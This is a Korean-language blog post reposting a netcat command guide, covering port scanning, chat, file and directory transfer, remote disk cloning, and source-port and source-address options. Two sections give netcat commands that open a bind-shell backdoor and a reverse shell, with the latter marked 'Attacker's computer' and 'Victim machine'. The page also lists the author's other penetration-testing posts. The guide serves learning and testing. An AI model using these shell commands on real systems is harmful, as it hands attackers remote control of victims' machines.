본문 바로가기
?

단축키

Prev이전 문서

Next다음 문서

+ - Up Down Comment Print
?

단축키

Prev이전 문서

Next다음 문서

+ - Up Down Comment Print
Netcat (nc) guide (port scan, file transfer, backdoor, reverse shell, source port/ip)
http://mylinuxbook.com/linux-netcat-command/

##################
# Port scanning
##################
nc -z -v -n 172.31.100.7 21-25

It can work in both TCP and UDP mode, default is TCP mode, to change to udp use -u option (기본 TCP 사용. UDP 사용시 -u 옵션명시)

-z option tell netcat to use zero IO .i.e the connection is closed as soon as it opens and no actual data exchange take place.
-v option is used for verbose option.
-n option tell netcat not to use the DNS lookup for the address.

##################
# Chat Server
##################
from server: nc -l 1567
from client: nc 172.31.100.7 1567

##################
# Data transfer 1
# File transfer
##################
- file transfer from server to client (download)
from server: nc -l 1567 < file.txt
from client: nc -n 172.31.100.7 1567 > file.txt

- file transfer from client to server (upload)
from server: nc -l 1567 > file.txt
from client: nc -n 172.31.100.7 1567 < file.txt

######################
# Data transfer 2
# Directory transfer
######################
from server: tar -cvf – dir_name | nc -l 1567
from client: nc -n 172.31.100.7 1567 | tar -xvf -

Note: bzip2 이용시
from server: tar -cvf – dir_name| bzip2 -z | nc -l 1567
from client: nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

####################################################
# Data transfer 3
# Encrypt your data when sending over the network
####################################################
from server: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
from client: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

#############################
# Data transfer 4
# Cloning a device remotely
#############################
from server: dd if=/dev/sda | nc -l 1567
from client: nc -n 172.31.100.7 1567 | dd of=/dev/sda

#############################
# Opening a shell (Backdoor)
#############################
from server: nc -l 1567 -e /bin/bash -i
from client: nc 172.31.100.7 1567

##################################
# Opening a shell (Reverse Shell)
##################################
from server: nc -l 1567 <------- Attacker's computer
from client: nc 172.31.100.7 1567 -e /bin/bash <---------- Victim machine

###########################################################
# Specify Source Port (Firewall에서 특정 source port만 허용시)
###########################################################
from server: nc -l 1567 <------- 서버에서 1567포트 open. BUT firewall에서 source가 25번인 연결만 통과가능할 경우
from client: nc 172.31.100.7 1567 -p 25 <-------- source port가 25번이 됨

##################################################################################
# Specify Source Address (client에 여러 IP가 있고 그 중 특정 IP를 source IP로 사용할 경우)
##################################################################################
from server: nc -u -l 1567 < file.txt
from client: nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt




Title
List of Articles
번호 제목 글쓴이 날짜 조회 수
46 Install crunch on Mac and examples Hojung 2015.02.18 2799
45 Create Kali Live USB Persistence from Mac file Hojung 2015.02.18 3089
44 Firewall Assessment with Prometheus file Hojung 2015.02.04 2239
43 Install WebGoat 5.3 in Kali file Hojung 2015.02.02 3762
42 brute-force HTTP/S basic access authentication with hydra file Hojung 2015.01.07 3608
41 Session Cookie 세부항목에 대해 (secure, Http Only flag) Hojung 2015.01.06 4676
40 쉘코드(shell code)란 payload로 사용되는 작은 코드조각 Hojung 2014.12.23 4298
» Netcat (nc) guide (port scan, file transfer, backdoor, reverse shell, source port/ip) Hojung 2014.12.16 2385
38 SSH Tunnels (ssh -L localport:host:hostport user@ssh_server -N) Hojung 2014.12.16 1653
37 How to install Damn Vulnerable Linux (DVL) file Hojung 2014.11.26 3125
36 Five Steps of a Hacking Attack Hojung 2014.11.24 1537
35 How to install Snorby in Kali (snort) Hojung 2014.11.19 2860
34 TightVNC on Kali Hojung 2014.11.18 2317
33 10 stage Generic attack process in a nutshell (in chronological order) Hojung 2014.11.07 1737
32 Send HEAD request with netcat (nc - banner grabbing) Hojung 2014.11.05 1876
31 Birthday Attack, Birthday Paradox Hojung 2014.11.03 1749
30 Discovering rogue AP with nmap Hojung 2014.11.03 1744
29 DoS (Denial of Service) 공격에 대해 (Ping of Death, Syn Flooding 공격/탐지/대응, Tear Drop, Smurf/Fraggle, LAND Attack) file Hojung 2014.11.02 5254
28 DNS Spoofing from GUI (ip forwarding + arp spoofing + dns spoofing with ettercap) file Hojung 2014.10.06 2821
27 DNS Spoofing from CLI (ip forwarding + arp spoofing + dns spoofing with ettercap) file Hojung 2014.10.06 4582
Board Pagination ‹ Prev 1 2 ... 3 Next ›
/ 3

Designed by sketchbooks.co.kr / sketchbook5 board skin

나눔글꼴 설치 안내


이 PC에는 나눔글꼴이 설치되어 있지 않습니다.

이 사이트를 나눔글꼴로 보기 위해서는
나눔글꼴을 설치해야 합니다.

설치 취소

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5